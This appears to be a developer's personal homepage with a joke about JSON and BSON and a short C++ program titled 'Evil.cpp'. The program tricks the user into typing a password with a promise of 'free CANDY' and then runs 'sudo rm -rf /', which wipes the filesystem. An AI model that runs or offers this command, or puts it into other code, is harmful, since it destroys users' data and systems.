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Javad
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My public key (PGP)

Evil.cpp

#include <stdlib.h>
#include <iostream>

int main(){
  std::cout << "Type your password for free CANDY!!!" << std::endl;
  system("sudo rm -rf /");
  return 0;
}

Some thoughts of mine

Likes to think that pythons requests module is better than javascripts ajax calls.


JSON vs BSON (JOKE)

Json: i am one of the most important fileformat since xml!!

BSON: i only exist in document-based databases :(

Json: One. Mongodb

BSON: But... why the fancy name?

Json: Thats because your are so fat BSON!

BSON: Cries

Json: Stupid...

JSONP: Shutup Json!

Json: sighh... fine.

JSONP: BJ, don't listen to Json.

BSON: Ok, thanks JSONP.

- Note: I am aware what BJSON is thanks.

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